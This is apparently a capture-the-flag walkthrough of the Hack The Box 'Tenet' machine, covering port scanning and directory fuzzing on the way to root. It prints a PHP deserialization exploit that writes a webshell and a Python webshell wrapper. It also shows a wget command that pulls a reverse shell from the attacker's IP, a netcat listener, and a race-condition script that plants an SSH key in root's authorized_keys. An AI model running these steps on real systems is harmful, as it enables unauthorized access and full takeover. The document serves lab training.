4 minute read


Port Scanning and General Enumeration (Nmap, FFuF)

Nmap all port scan showed 22 and 80 up, so I targeted those

nmap -p22,80 -oN scans/nmap/ -T4 -sC -sV

# Nmap 7.91 scan initiated Fri May 21 09:15:56 2021 as: nmap -p22,80 -oN scans/nmap/ -T4 -sC -sV
Nmap scan report for
Host is up (0.18s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Default Apache2 page. Nothing there! Next let’s run FFuF using the common wordlist from seclists, matching all codes and filtering 404s

ffuf -u -w wordlist.txt -mc all -fc 404

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10]
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
wordpress               [Status: 301, Size: 316, Words: 20, Lines: 10]

Wordpress! But navigating to /wordpress shows that we need to add tenet.htb to our hosts, once we do we can enumerate this wordpress site a bit more.

There’s not a lot here. Just some posts about Rotas. There is a comment on the Migration post that’s interesting…


So there’s a sator.php and a backup? I checked the obvious locations and found and

Access (PHP Object Injection, RCE, PHP Reverse Shell)

Viewing the sator.php.bak file we downloaded


class DatabaseExport
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
		echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';

	public function __destruct()
        echo $this->data;
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
        //echo $this->user_file;
	//	echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


We can see that it’s using __deconstruct, which is a magic method, and unserialize on input that we control. Let’s create a malicious object to get RCE.

Script to create the object:

class DatabaseExport
    public function __construct()
		//Sets the 'user_file' variable to = 'user.php'
		//which allows php code to run in the browser
        $this->user_file = 'user.php';
		//Sets the 'data' variable to a php system call
        $this->data = '<?php system("whoami") ?>';

$obj = new DatabaseExport();
echo serialize($obj);

If you want to really know how this works: watch the video from ippsec that I linked in Reading/Resources

Sending that object as a parameter and then checking confirms that we have code execution

Not necessary as you can do all the steps manually, but I wrote a little webshell

import requests
import sys

r = requests.get('"DatabaseExport":2:{s:9:"user_file";s:8:"user.php";s:4:"data";s:' + str(19 + len(sys.argv[1])) + ':"<?php system("' + sys.argv[1] + '") ?>";}')

r2 = requests.get('')

While that’s nice and all, we really want an interactive shell. Using my webshell I pulled my reverse shell onto the server.

python3 shell.py 'wget YOURIP:YOURPORT/revshell.php

Start a listener

nc -lvnp 4444

And nagivate to

Privesc (Race condition, scripting)

Now that we’re on the box we can start doing general enumeration for privesc. The first thing I always do is try sudo -l

User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

We can run a custom script.


checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"


		/bin/echo "Error in adding $sshName to authorized_keys file!"



checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1



addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName


key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

The script, when run, does this:

  1. Creates a temp file called ssh-XXXX (x’s are random)
  2. echos the $key variable into the file (which is defined to be root’s public ssh key)
  3. cats the ssh-XXXX file into /root/.ssh/authorized_keys

So we need to stick our own public key into that ssh-XXXX file before the program can. This is the script that I used to do that:

#!/usr/bin/env python3
import os
import time

source = "/tmp/"

while True:
    files2 = os.listdir(source)
    for f in files2:
        if f.startswith('ssh-'):
            print('Found file ' + f)
            os.system("echo 'YOUR PUBLIC SSHKEY' > /tmp/"+ f)

With that running in the background start spamming sudo /usr/local/bin/enableSSH.sh. It might take a few times but eventually you’ll get something like:


Which, we can confirm worked by trying to ssh in with our private key

ssh root@ -i id_rsa